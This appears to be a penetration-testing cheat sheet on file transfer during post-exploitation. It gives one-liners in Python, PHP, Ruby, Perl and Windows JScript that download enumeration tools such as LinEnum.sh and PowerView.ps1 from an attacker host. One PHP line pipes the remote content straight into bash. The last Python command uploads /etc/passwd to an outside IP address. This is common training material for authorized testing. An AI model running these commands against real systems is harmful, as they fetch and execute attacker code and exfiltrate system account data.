Languages for Uploading Files

Common programming languages can be used to transfer files

Python

bash
python2.7 -c 'import urllib;urllib.urlretrieve("http://<ip>/LinEnum.sh", "LinEnum.sh")'
bash
$ python3 -c 'import urllib.request;urllib.request.urlretrieve("http://<ip>/LinEnum.sh", "LinEnum.sh")'

PHP

bash
php -r '$file = file_get_contents("http://<ip>/LinEnum.sh"); file_put_contents("LinEnum.sh", $file);'
Download a file with fopen and pipe it directly to bash:
bash
php -r '$lines = @file("http://<ip>/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash

Other Languages

Ruby

bash
ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("http://<ip>/LinEnum.sh")))'

Perl

bash
perl -e 'use LWP::Simple; getstore("http://<ip>/LinEnum.sh", "LinEnum.sh");'

JavaScript (Windows)

Create a wget.js file:
javascript
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
txt
cscript.exe /nologo wget.js http://<ip>/PowerView.ps1 PowerView.ps1

Python3 Upload Operations

terminal
$ sudo python3 -m uploadserver
bash
$ python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'